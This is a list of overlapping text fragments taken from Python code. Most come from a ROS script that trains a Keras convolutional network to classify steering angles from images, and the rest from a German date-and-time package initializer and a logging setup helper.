print\",\n \"collections.Counter() for f in exampleSetFiles_const: data = ExampleSet.load(os.path.join(exampleSetDir, f)) n_training_examples += len(data.train) n_test_examples\",\n \"ExampleSet from params import input_shape, expand_categories n_examples_to_load = 8000 # if the number\",\n \"in categories] categories = expand_categories(categories) model = make_model() model.summary() exampleSetFiles_const = tuple(f for\",\n \"2))) # 16 x 6 model.add(Flatten()) model.add(Dropout(0.25)) model.add(Dense(128, activation='relu')) model.add(Dense(32, activation='relu')) model.add(Dropout(0.35)) model.add(Dense(len(categories),\",\n \"i in range(len(categories))] return oneHot def format_inputs(examples): data2 = np.zeros((len(examples),) + input_shape, dtype='float32')\",\n \"n_test_examples += len(data.test) for ex in data.train: i = np.argmax(defineCategory(ex.angle)) cnt[i] += 1\",\n \"labels[i: i + batch_size] yield (xs, ys) try: n_minibatches = int(math.ceil(float(n_training_examples) / batch_size))\",\n \"params import input_shape, expand_categories n_examples_to_load = 8000 # if the number of training\",\n \"i + batch_size] yield (xs, ys) try: n_minibatches = int(math.ceil(float(n_training_examples) / batch_size)) model.fit_generator(batch_generator(),\",\n \"model def main(): global categories, n_examples_to_load, batch_size rospy.init_node(\\\"nn_training\\\") startTime = time.time() model_path =\",\n \"= np.zeros((len(examples),) + input_shape, dtype='float32') for i, ex in enumerate(examples): data2[i] = ex.get_image()\",\n \"try: n_minibatches = int(math.ceil(float(n_training_examples) / batch_size)) model.fit_generator(batch_generator(), steps_per_epoch=n_minibatches, epochs=epochs, verbose=1) print \\\"elapsed time:\\\",\",\n \"steps=n_minibatches) print \\\"validation loss:\\\", loss, \\\"| validation accuracy:\\\", acc finally: model.save(model_path) print \\\"\\\\nsaved\",\n \"cnt = collections.Counter() for f in exampleSetFiles_const: data = ExampleSet.load(os.path.join(exampleSetDir, f)) n_training_examples +=\",\n \"= np.argmin(differences) oneHot = [1 if i == category else 0 for i\",\n \"X = format_inputs(D) # create output bins labels = np.array([defineCategory(ex.angle) for ex in\",\n \"= int(math.ceil(float(n_training_examples) / batch_size)) model.fit_generator(batch_generator(), steps_per_epoch=n_minibatches, epochs=epochs, verbose=1) print \\\"elapsed time:\\\", time.time() -\",\n \"from keras.models import Sequential from keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D, \\\\\",\n \"return data2 def make_model(): model = Sequential() # 128 x 48 model.add(GaussianNoise(0.05, input_shape=input_shape))\",\n \"- category) for category in categories] category = np.argmin(differences) oneHot = [1 if\",\n \"ex in enumerate(examples): data2[i] = ex.get_image() data2 /= 255.0 return data2 def make_model():\",\n \"ExampleSet.load(os.path.join(exampleSetDir, f)) n_training_examples += len(data.train) n_test_examples += len(data.test) for ex in data.train: i\",\n \"time from example_set import ExampleSet from params import input_shape, expand_categories n_examples_to_load = 8000\",\n \"time.time() - startTime n_minibatches = int(math.ceil(float(n_test_examples) / batch_size)) loss, acc = model.evaluate_generator(batch_generator(True), steps=n_minibatches)\",\n \"= np.array([defineCategory(ex.angle) for ex in D]) if not isValidation: for i in range(len(X)):\",\n \"(3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((4, 4))) # 32 x 12 model.add(Conv2D(64, (3, 3),\",\n \"data = ExampleSet.load(os.path.join(exampleSetDir, exampleSetFiles.pop())) D += data.test if isValidation else data.train if not\",\n \"data2 def make_model(): model = Sequential() # 128 x 48 model.add(GaussianNoise(0.05, input_shape=input_shape)) model.add(Conv2D(32,\",\n \"if not isValidation: random.shuffle(D) X = format_inputs(D) # create output bins labels =\",\n \"below this, load more data batch_size = 16 categories = [None] def defineCategory(steering):\",\n \"images are flipped X[i] = cv2.flip(X[i], 1) labels[i] = labels[i][::-1] for i in\",\n \"\\\\ GaussianNoise, BatchNormalization import cv2 import collections import random import time from example_set\",\n \"[abs(steering - category) for category in categories] category = np.argmin(differences) oneHot = [1\",\n \"not isValidation: random.shuffle(D) X = format_inputs(D) # create output bins labels = np.array([defineCategory(ex.angle)\",\n \"for f in exampleSetFiles_const: data = ExampleSet.load(os.path.join(exampleSetDir, f)) n_training_examples += len(data.train) n_test_examples +=\",\n \"activation='relu', padding='same')) model.add(MaxPooling2D((2, 2))) # 16 x 6 model.add(Flatten()) model.add(Dropout(0.25)) model.add(Dense(128, activation='relu')) model.add(Dense(32,\",\n \"bins labels = np.array([defineCategory(ex.angle) for ex in D]) if not isValidation: for i\",\n \"= rospy.get_param(\\\"~model_output_path\\\") exampleSetDir = rospy.get_param(\\\"~example_set_dir\\\") epochs = int(rospy.get_param(\\\"~epochs\\\")) categories = rospy.get_param(\\\"~positive_nonzero_categories\\\") categories =\",\n \"batch_size] ys = labels[i: i + batch_size] yield (xs, ys) try: n_minibatches =\",\n \"n_minibatches = int(math.ceil(float(n_test_examples) / batch_size)) loss, acc = model.evaluate_generator(batch_generator(True), steps=n_minibatches) print \\\"validation loss:\\\",\",\n \"int(rospy.get_param(\\\"~epochs\\\")) categories = rospy.get_param(\\\"~positive_nonzero_categories\\\") categories = string.strip(categories).split(\\\" \\\") categories = [float(x) for x\",\n \"loss, acc = model.evaluate_generator(batch_generator(True), steps=n_minibatches) print \\\"validation loss:\\\", loss, \\\"| validation accuracy:\\\", acc\",\n \"data2[i] = ex.get_image() data2 /= 255.0 return data2 def make_model(): model = Sequential()\",\n \"def main(): global categories, n_examples_to_load, batch_size rospy.init_node(\\\"nn_training\\\") startTime = time.time() model_path = rospy.get_param(\\\"~model_output_path\\\")\",\n \"while len(exampleSetFiles) > 0: D = [] while len(exampleSetFiles) > 0 and len(D)\",\n \"for ex in data.train: i = np.argmax(defineCategory(ex.angle)) cnt[i] += 1 print \\\"total training\",\n \"global categories, n_examples_to_load, batch_size rospy.init_node(\\\"nn_training\\\") startTime = time.time() model_path = rospy.get_param(\\\"~model_output_path\\\") exampleSetDir =\",\n \"model.summary() exampleSetFiles_const = tuple(f for f in os.listdir(exampleSetDir) if '.pkl.lz4' in f) n_training_examples\",\n \"input_shape=input_shape)) model.add(Conv2D(32, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((4, 4))) # 32 x 12 model.add(Conv2D(64,\",\n \"16 x 6 model.add(Flatten()) model.add(Dropout(0.25)) model.add(Dense(128, activation='relu')) model.add(Dense(32, activation='relu')) model.add(Dropout(0.35)) model.add(Dense(len(categories), activation='softmax')) model.compile(loss=keras.losses.categorical_crossentropy,\",\n \"labels[i] = labels[i][::-1] for i in range(0, len(X), batch_size): xs = X[i: i\",\n \"# create output bins labels = np.array([defineCategory(ex.angle) for ex in D]) if not\",\n \"= tuple(f for f in os.listdir(exampleSetDir) if '.pkl.lz4' in f) n_training_examples = 0\",\n \"# 16 x 6 model.add(Flatten()) model.add(Dropout(0.25)) model.add(Dense(128, activation='relu')) model.add(Dense(32, activation='relu')) model.add(Dropout(0.35)) model.add(Dense(len(categories), activation='softmax'))\",\n \"np import rospy import keras from keras.models import Sequential from keras.layers import Dense,\",\n \"random import time from example_set import ExampleSet from params import input_shape, expand_categories n_examples_to_load\",\n \"exampleSetFiles = list(exampleSetFiles_const) random.shuffle(exampleSetFiles) while len(exampleSetFiles) > 0: D = [] while len(exampleSetFiles)\",\n \"= model.evaluate_generator(batch_generator(True), steps=n_minibatches) print \\\"validation loss:\\\", loss, \\\"| validation accuracy:\\\", acc finally: model.save(model_path)\",\n \"of images are flipped X[i] = cv2.flip(X[i], 1) labels[i] = labels[i][::-1] for i\",\n \"0 cnt = collections.Counter() for f in exampleSetFiles_const: data = ExampleSet.load(os.path.join(exampleSetDir, f)) n_training_examples\",\n \"model = make_model() model.summary() exampleSetFiles_const = tuple(f for f in os.listdir(exampleSetDir) if '.pkl.lz4'\",\n \"= 1 if isValidation else epochs for epoch in range(gen_epochs): exampleSetFiles = list(exampleSetFiles_const)\",\n \"= collections.Counter() for f in exampleSetFiles_const: data = ExampleSet.load(os.path.join(exampleSetDir, f)) n_training_examples += len(data.train)\",\n \"is below this, load more data batch_size = 16 categories = [None] def\",\n \"cv2 import collections import random import time from example_set import ExampleSet from params\",\n \"gen_epochs = 1 if isValidation else epochs for epoch in range(gen_epochs): exampleSetFiles =\",\n \"keras from keras.models import Sequential from keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D,\",\n \"(3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((2, 2))) # 16 x 6 model.add(Flatten()) model.add(Dropout(0.25)) model.add(Dense(128,\",\n \"n_examples_to_load: data = ExampleSet.load(os.path.join(exampleSetDir, exampleSetFiles.pop())) D += data.test if isValidation else data.train if\",\n \"0.4: # 40% of images are flipped X[i] = cv2.flip(X[i], 1) labels[i] =\",\n \"random.random() < 0.4: # 40% of images are flipped X[i] = cv2.flip(X[i], 1)\",\n \"activation='relu', padding='same')) model.add(MaxPooling2D((4, 4))) # 32 x 12 model.add(Conv2D(64, (3, 3), activation='relu', padding='same'))\",\n \"= False): gen_epochs = 1 if isValidation else epochs for epoch in range(gen_epochs):\",\n \"data.train: i = np.argmax(defineCategory(ex.angle)) cnt[i] += 1 print \\\"total training examples:\\\", n_training_examples print\",\n \"def batch_generator(isValidation = False): gen_epochs = 1 if isValidation else epochs for epoch\",\n \"False): gen_epochs = 1 if isValidation else epochs for epoch in range(gen_epochs): exampleSetFiles\",\n \"categories, n_examples_to_load, batch_size rospy.init_node(\\\"nn_training\\\") startTime = time.time() model_path = rospy.get_param(\\\"~model_output_path\\\") exampleSetDir = rospy.get_param(\\\"~example_set_dir\\\")\",\n \"= labels[i: i + batch_size] yield (xs, ys) try: n_minibatches = int(math.ceil(float(n_training_examples) /\",\n \"n_training_examples += len(data.train) n_test_examples += len(data.test) for ex in data.train: i = np.argmax(defineCategory(ex.angle))\",\n \"startTime = time.time() model_path = rospy.get_param(\\\"~model_output_path\\\") exampleSetDir = rospy.get_param(\\\"~example_set_dir\\\") epochs = int(rospy.get_param(\\\"~epochs\\\")) categories\",\n \"data batch_size = 16 categories = [None] def defineCategory(steering): differences = [abs(steering -\",\n \"> 0: D = [] while len(exampleSetFiles) > 0 and len(D) < n_examples_to_load:\",\n \"metrics=['accuracy']) return model def main(): global categories, n_examples_to_load, batch_size rospy.init_node(\\\"nn_training\\\") startTime = time.time()\",\n \"GaussianNoise, BatchNormalization import cv2 import collections import random import time from example_set import\",\n \"keras.models import Sequential from keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D, \\\\ GaussianNoise,\",\n \"1) labels[i] = labels[i][::-1] for i in range(0, len(X), batch_size): xs = X[i:\",\n \"in D]) if not isValidation: for i in range(len(X)): if random.random() < 0.4:\",\n \"i in range(0, len(X), batch_size): xs = X[i: i + batch_size] ys =\",\n \"print \\\"validation loss:\\\", loss, \\\"| validation accuracy:\\\", acc finally: model.save(model_path) print \\\"\\\\nsaved model\",\n \"load more data batch_size = 16 categories = [None] def defineCategory(steering): differences =\",\n \"else data.train if not isValidation: random.shuffle(D) X = format_inputs(D) # create output bins\",\n \"activation='relu')) model.add(Dropout(0.35)) model.add(Dense(len(categories), activation='softmax')) model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(), metrics=['accuracy']) return model def main(): global categories,\",\n \"ExampleSet.load(os.path.join(exampleSetDir, exampleSetFiles.pop())) D += data.test if isValidation else data.train if not isValidation: random.shuffle(D)\",\n \"else epochs for epoch in range(gen_epochs): exampleSetFiles = list(exampleSetFiles_const) random.shuffle(exampleSetFiles) while len(exampleSetFiles) >\",\n \"string import numpy as np import rospy import keras from keras.models import Sequential\",\n \"range(len(X)): if random.random() < 0.4: # 40% of images are flipped X[i] =\",\n \"255.0 return data2 def make_model(): model = Sequential() # 128 x 48 model.add(GaussianNoise(0.05,\",\n \"[1 if i == category else 0 for i in range(len(categories))] return oneHot\",\n \"= string.strip(categories).split(\\\" \\\") categories = [float(x) for x in categories] categories = expand_categories(categories)\",\n \"3), activation='relu', padding='same')) model.add(MaxPooling2D((2, 2))) # 16 x 6 model.add(Flatten()) model.add(Dropout(0.25)) model.add(Dense(128, activation='relu'))\",\n \"yield (xs, ys) try: n_minibatches = int(math.ceil(float(n_training_examples) / batch_size)) model.fit_generator(batch_generator(), steps_per_epoch=n_minibatches, epochs=epochs, verbose=1)\",\n \"model.add(Dropout(0.25)) model.add(Dense(128, activation='relu')) model.add(Dense(32, activation='relu')) model.add(Dropout(0.35)) model.add(Dense(len(categories), activation='softmax')) model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(), metrics=['accuracy']) return model\",\n \"= np.argmax(defineCategory(ex.angle)) cnt[i] += 1 print \\\"total training examples:\\\", n_training_examples print \\\"training label\",\n \"create output bins labels = np.array([defineCategory(ex.angle) for ex in D]) if not isValidation:\",\n \"oneHot def format_inputs(examples): data2 = np.zeros((len(examples),) + input_shape, dtype='float32') for i, ex in\",\n \"8000 # if the number of training examples is below this, load more\",\n \"isValidation else data.train if not isValidation: random.shuffle(D) X = format_inputs(D) # create output\",\n \"16 categories = [None] def defineCategory(steering): differences = [abs(steering - category) for category\",\n \"f)) n_training_examples += len(data.train) n_test_examples += len(data.test) for ex in data.train: i =\",\n \"in data.train: i = np.argmax(defineCategory(ex.angle)) cnt[i] += 1 print \\\"total training examples:\\\", n_training_examples\",\n \"return model def main(): global categories, n_examples_to_load, batch_size rospy.init_node(\\\"nn_training\\\") startTime = time.time() model_path\",\n \"in exampleSetFiles_const: data = ExampleSet.load(os.path.join(exampleSetDir, f)) n_training_examples += len(data.train) n_test_examples += len(data.test) for\",\n \"model.add(Flatten()) model.add(Dropout(0.25)) model.add(Dense(128, activation='relu')) model.add(Dense(32, activation='relu')) model.add(Dropout(0.35)) model.add(Dense(len(categories), activation='softmax')) model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(), metrics=['accuracy']) return\",\n \"steps_per_epoch=n_minibatches, epochs=epochs, verbose=1) print \\\"elapsed time:\\\", time.time() - startTime n_minibatches = int(math.ceil(float(n_test_examples) /\",\n \"epoch in range(gen_epochs): exampleSetFiles = list(exampleSetFiles_const) random.shuffle(exampleSetFiles) while len(exampleSetFiles) > 0: D =\",\n \"model.add(Dense(32, activation='relu')) model.add(Dropout(0.35)) model.add(Dense(len(categories), activation='softmax')) model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(), metrics=['accuracy']) return model def main(): global\",\n \"verbose=1) print \\\"elapsed time:\\\", time.time() - startTime n_minibatches = int(math.ceil(float(n_test_examples) / batch_size)) loss,\",\n \"0: D = [] while len(exampleSetFiles) > 0 and len(D) < n_examples_to_load: data\",\n \"= 16 categories = [None] def defineCategory(steering): differences = [abs(steering - category) for\",\n \"in range(len(X)): if random.random() < 0.4: # 40% of images are flipped X[i]\",\n \"the number of training examples is below this, load more data batch_size =\",\n \"def make_model(): model = Sequential() # 128 x 48 model.add(GaussianNoise(0.05, input_shape=input_shape)) model.add(Conv2D(32, (3,\",\n \"defineCategory(steering): differences = [abs(steering - category) for category in categories] category = np.argmin(differences)\",\n \"number of training examples is below this, load more data batch_size = 16\",\n \"if i == category else 0 for i in range(len(categories))] return oneHot def\",\n \"= cv2.flip(X[i], 1) labels[i] = labels[i][::-1] for i in range(0, len(X), batch_size): xs\",\n \"for ex in D]) if not isValidation: for i in range(len(X)): if random.random()\",\n \"= 0 cnt = collections.Counter() for f in exampleSetFiles_const: data = ExampleSet.load(os.path.join(exampleSetDir, f))\",\n \"in os.listdir(exampleSetDir) if '.pkl.lz4' in f) n_training_examples = 0 n_test_examples = 0 cnt\",\n \"import random import time from example_set import ExampleSet from params import input_shape, expand_categories\",\n \"data2 = np.zeros((len(examples),) + input_shape, dtype='float32') for i, ex in enumerate(examples): data2[i] =\",\n \"i == category else 0 for i in range(len(categories))] return oneHot def format_inputs(examples):\",\n \"data2 /= 255.0 return data2 def make_model(): model = Sequential() # 128 x\",\n \"print \\\"training label counts:\\\", cnt def batch_generator(isValidation = False): gen_epochs = 1 if\",\n \"isValidation else epochs for epoch in range(gen_epochs): exampleSetFiles = list(exampleSetFiles_const) random.shuffle(exampleSetFiles) while len(exampleSetFiles)\",\n \"in range(len(categories))] return oneHot def format_inputs(examples): data2 = np.zeros((len(examples),) + input_shape, dtype='float32') for\",\n \"rospy.get_param(\\\"~example_set_dir\\\") epochs = int(rospy.get_param(\\\"~epochs\\\")) categories = rospy.get_param(\\\"~positive_nonzero_categories\\\") categories = string.strip(categories).split(\\\" \\\") categories =\",\n \"np.argmax(defineCategory(ex.angle)) cnt[i] += 1 print \\\"total training examples:\\\", n_training_examples print \\\"training label counts:\\\",\",\n \"# 32 x 12 model.add(Conv2D(64, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((2, 2))) # 16\",\n \"# if the number of training examples is below this, load more data\",\n \"i in range(len(X)): if random.random() < 0.4: # 40% of images are flipped\",\n \"= time.time() model_path = rospy.get_param(\\\"~model_output_path\\\") exampleSetDir = rospy.get_param(\\\"~example_set_dir\\\") epochs = int(rospy.get_param(\\\"~epochs\\\")) categories =\",\n \"format_inputs(D) # create output bins labels = np.array([defineCategory(ex.angle) for ex in D]) if\",\n \"(xs, ys) try: n_minibatches = int(math.ceil(float(n_training_examples) / batch_size)) model.fit_generator(batch_generator(), steps_per_epoch=n_minibatches, epochs=epochs, verbose=1) print\",\n \"cnt[i] += 1 print \\\"total training examples:\\\", n_training_examples print \\\"training label counts:\\\", cnt\",\n \"math import string import numpy as np import rospy import keras from keras.models\",\n \"label counts:\\\", cnt def batch_generator(isValidation = False): gen_epochs = 1 if isValidation else\",\n \"= rospy.get_param(\\\"~positive_nonzero_categories\\\") categories = string.strip(categories).split(\\\" \\\") categories = [float(x) for x in categories]\",\n \"oneHot = [1 if i == category else 0 for i in range(len(categories))]\",\n \"examples:\\\", n_training_examples print \\\"training label counts:\\\", cnt def batch_generator(isValidation = False): gen_epochs =\",\n \"from example_set import ExampleSet from params import input_shape, expand_categories n_examples_to_load = 8000 #\",\n \"import collections import random import time from example_set import ExampleSet from params import\",\n \"if '.pkl.lz4' in f) n_training_examples = 0 n_test_examples = 0 cnt = collections.Counter()\",\n \"import rospy import keras from keras.models import Sequential from keras.layers import Dense, Dropout,\",\n \"X[i] = cv2.flip(X[i], 1) labels[i] = labels[i][::-1] for i in range(0, len(X), batch_size):\",\n \"for i, ex in enumerate(examples): data2[i] = ex.get_image() data2 /= 255.0 return data2\",\n \"isValidation: for i in range(len(X)): if random.random() < 0.4: # 40% of images\",\n \"in f) n_training_examples = 0 n_test_examples = 0 cnt = collections.Counter() for f\",\n \"n_minibatches = int(math.ceil(float(n_training_examples) / batch_size)) model.fit_generator(batch_generator(), steps_per_epoch=n_minibatches, epochs=epochs, verbose=1) print \\\"elapsed time:\\\", time.time()\",\n \"in categories] category = np.argmin(differences) oneHot = [1 if i == category else\",\n \"+= len(data.train) n_test_examples += len(data.test) for ex in data.train: i = np.argmax(defineCategory(ex.angle)) cnt[i]\",\n \"int(math.ceil(float(n_test_examples) / batch_size)) loss, acc = model.evaluate_generator(batch_generator(True), steps=n_minibatches) print \\\"validation loss:\\\", loss, \\\"|\",\n \"= int(math.ceil(float(n_test_examples) / batch_size)) loss, acc = model.evaluate_generator(batch_generator(True), steps=n_minibatches) print \\\"validation loss:\\\", loss,\",\n \"BatchNormalization import cv2 import collections import random import time from example_set import ExampleSet\",\n \"/= 255.0 return data2 def make_model(): model = Sequential() # 128 x 48\",\n \"model.add(Conv2D(64, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((2, 2))) # 16 x 6 model.add(Flatten()) model.add(Dropout(0.25))\",\n \"categories = rospy.get_param(\\\"~positive_nonzero_categories\\\") categories = string.strip(categories).split(\\\" \\\") categories = [float(x) for x in\",\n \"< n_examples_to_load: data = ExampleSet.load(os.path.join(exampleSetDir, exampleSetFiles.pop())) D += data.test if isValidation else data.train\",\n \"len(data.train) n_test_examples += len(data.test) for ex in data.train: i = np.argmax(defineCategory(ex.angle)) cnt[i] +=\",\n \"cv2.flip(X[i], 1) labels[i] = labels[i][::-1] for i in range(0, len(X), batch_size): xs =\",\n \"time:\\\", time.time() - startTime n_minibatches = int(math.ceil(float(n_test_examples) / batch_size)) loss, acc = model.evaluate_generator(batch_generator(True),\",\n \"enumerate(examples): data2[i] = ex.get_image() data2 /= 255.0 return data2 def make_model(): model =\",\n \"model.add(Dense(128, activation='relu')) model.add(Dense(32, activation='relu')) model.add(Dropout(0.35)) model.add(Dense(len(categories), activation='softmax')) model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(), metrics=['accuracy']) return model def\",\n \"0 n_test_examples = 0 cnt = collections.Counter() for f in exampleSetFiles_const: data =\",\n \"f in os.listdir(exampleSetDir) if '.pkl.lz4' in f) n_training_examples = 0 n_test_examples = 0\",\n \"exampleSetFiles.pop())) D += data.test if isValidation else data.train if not isValidation: random.shuffle(D) X\",\n \"categories] category = np.argmin(differences) oneHot = [1 if i == category else 0\"\n]","isConversational":false}}},{"rowIdx":1891,"cells":{"ngram":{"kind":"list like","value":["Uhrzeit, Stunde, Minute, Sekunde from Kronos_heureka_code.Zeit.Datum.Monat import Monate from Kronos_heureka_code.Zeit.Datum.Jahr import Jahr, Zeitrechnung","Sekunde from Kronos_heureka_code.Zeit.Datum.Monat import Monate from Kronos_heureka_code.Zeit.Datum.Jahr import Jahr, Zeitrechnung from Kronos_heureka_code.Zeit.Datum.Tag import","import Uhrzeit, Stunde, Minute, Sekunde from Kronos_heureka_code.Zeit.Datum.Monat import Monate from Kronos_heureka_code.Zeit.Datum.Jahr import Jahr,","Kronos_heureka_code.Zeit.Uhrzeit import Uhrzeit, Stunde, Minute, Sekunde from Kronos_heureka_code.Zeit.Datum.Monat import Monate from Kronos_heureka_code.Zeit.Datum.Jahr import","from Kronos_heureka_code.Zeit.Uhrzeit import Uhrzeit, Stunde, Minute, Sekunde from Kronos_heureka_code.Zeit.Datum.Monat import Monate from Kronos_heureka_code.Zeit.Datum.Jahr","Stunde, Minute, Sekunde from Kronos_heureka_code.Zeit.Datum.Monat import Monate from Kronos_heureka_code.Zeit.Datum.Jahr import Jahr, Zeitrechnung from","<filename>build/lib/Kronos_heureka_code/Zeit/__init__.py<gh_stars>0 from Kronos_heureka_code.Zeit.Uhrzeit import Uhrzeit, Stunde, Minute, Sekunde from Kronos_heureka_code.Zeit.Datum.Monat import Monate from","from Kronos_heureka_code.Zeit.Datum.Monat import Monate from Kronos_heureka_code.Zeit.Datum.Jahr import Jahr, Zeitrechnung from Kronos_heureka_code.Zeit.Datum.Tag import Tag","Minute, Sekunde from Kronos_heureka_code.Zeit.Datum.Monat import Monate from Kronos_heureka_code.Zeit.Datum.Jahr import Jahr, Zeitrechnung from Kronos_heureka_code.Zeit.Datum.Tag"],"string":"[\n \"Uhrzeit, Stunde, Minute, Sekunde from Kronos_heureka_code.Zeit.Datum.Monat import Monate from Kronos_heureka_code.Zeit.Datum.Jahr import Jahr, Zeitrechnung\",\n \"Sekunde from Kronos_heureka_code.Zeit.Datum.Monat import Monate from Kronos_heureka_code.Zeit.Datum.Jahr import Jahr, Zeitrechnung from Kronos_heureka_code.Zeit.Datum.Tag import\",\n \"import Uhrzeit, Stunde, Minute, Sekunde from Kronos_heureka_code.Zeit.Datum.Monat import Monate from Kronos_heureka_code.Zeit.Datum.Jahr import Jahr,\",\n \"Kronos_heureka_code.Zeit.Uhrzeit import Uhrzeit, Stunde, Minute, Sekunde from Kronos_heureka_code.Zeit.Datum.Monat import Monate from Kronos_heureka_code.Zeit.Datum.Jahr import\",\n \"from Kronos_heureka_code.Zeit.Uhrzeit import Uhrzeit, Stunde, Minute, Sekunde from Kronos_heureka_code.Zeit.Datum.Monat import Monate from Kronos_heureka_code.Zeit.Datum.Jahr\",\n \"Stunde, Minute, Sekunde from Kronos_heureka_code.Zeit.Datum.Monat import Monate from Kronos_heureka_code.Zeit.Datum.Jahr import Jahr, Zeitrechnung from\",\n \"<filename>build/lib/Kronos_heureka_code/Zeit/__init__.py<gh_stars>0 from Kronos_heureka_code.Zeit.Uhrzeit import Uhrzeit, Stunde, Minute, Sekunde from Kronos_heureka_code.Zeit.Datum.Monat import Monate from\",\n \"from Kronos_heureka_code.Zeit.Datum.Monat import Monate from Kronos_heureka_code.Zeit.Datum.Jahr import Jahr, Zeitrechnung from Kronos_heureka_code.Zeit.Datum.Tag import Tag\",\n \"Minute, Sekunde from Kronos_heureka_code.Zeit.Datum.Monat import Monate from Kronos_heureka_code.Zeit.Datum.Jahr import Jahr, Zeitrechnung from Kronos_heureka_code.Zeit.Datum.Tag\"\n]","isConversational":false}}},{"rowIdx":1892,"cells":{"ngram":{"kind":"list like","value":["import logging def setup_logger(fname=None, silent=False): if fname is None: logging.basicConfig( level=logging.INFO if not","format='%(name)-12s: %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filemode='w' ) else: logging.basicConfig( level=logging.INFO if not silent","logging.CRITICAL, format='%(name)-12s: %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filemode='w' ) else: logging.basicConfig( level=logging.INFO if not","level=logging.INFO if not silent else logging.CRITICAL, format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filename=fname,","filename=fname, filemode='w' ) console = logging.StreamHandler() console.setLevel(logging.INFO) formatter = logging.Formatter('%(name)-12s: %(levelname)-8s %(message)s') console.setFormatter(formatter)","logging def setup_logger(fname=None, silent=False): if fname is None: logging.basicConfig( level=logging.INFO if not silent","%(message)s', datefmt='%m-%d %H:%M', filemode='w' ) else: logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL,","%H:%M', filename=fname, filemode='w' ) console = logging.StreamHandler() console.setLevel(logging.INFO) formatter = logging.Formatter('%(name)-12s: %(levelname)-8s %(message)s')","setup_logger(fname=None, silent=False): if fname is None: logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL,","logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL, format='%(name)-12s: %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filemode='w'","filemode='w' ) console = logging.StreamHandler() console.setLevel(logging.INFO) formatter = logging.Formatter('%(name)-12s: %(levelname)-8s %(message)s') console.setFormatter(formatter) logging.getLogger('').addHandler(console)","def setup_logger(fname=None, silent=False): if fname is None: logging.basicConfig( level=logging.INFO if not silent else","not silent else logging.CRITICAL, format='%(name)-12s: %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filemode='w' ) else: logging.basicConfig(","datefmt='%m-%d %H:%M', filemode='w' ) else: logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL, format='%(asctime)s","logging.CRITICAL, format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filename=fname, filemode='w' ) console = logging.StreamHandler()","fname is None: logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL, format='%(name)-12s: %(levelname)-8s %(message)s',","filemode='w' ) else: logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL, format='%(asctime)s %(name)-12s %(levelname)-8s","else: logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL, format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', datefmt='%m-%d","else logging.CRITICAL, format='%(name)-12s: %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filemode='w' ) else: logging.basicConfig( level=logging.INFO if","%(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filemode='w' ) else: logging.basicConfig( level=logging.INFO if not silent else","silent=False): if fname is None: logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL, format='%(name)-12s:","format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filename=fname, filemode='w' ) console = logging.StreamHandler() console.setLevel(logging.INFO)","<reponame>cthoyt/retro_star<filename>retro_star/utils/logger.py<gh_stars>10-100 import logging def setup_logger(fname=None, silent=False): if fname is None: logging.basicConfig( level=logging.INFO if","else logging.CRITICAL, format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filename=fname, filemode='w' ) console =","None: logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL, format='%(name)-12s: %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M',","if not silent else logging.CRITICAL, format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filename=fname, filemode='w'","if fname is None: logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL, format='%(name)-12s: %(levelname)-8s","not silent else logging.CRITICAL, format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filename=fname, filemode='w' )","datefmt='%m-%d %H:%M', filename=fname, filemode='w' ) console = logging.StreamHandler() console.setLevel(logging.INFO) formatter = logging.Formatter('%(name)-12s: %(levelname)-8s","%(name)-12s %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filename=fname, filemode='w' ) console = logging.StreamHandler() console.setLevel(logging.INFO) formatter","if not silent else logging.CRITICAL, format='%(name)-12s: %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filemode='w' ) else:","level=logging.INFO if not silent else logging.CRITICAL, format='%(name)-12s: %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filemode='w' )","silent else logging.CRITICAL, format='%(name)-12s: %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filemode='w' ) else: logging.basicConfig( level=logging.INFO",") else: logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL, format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s',","logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL, format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M',","%(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', 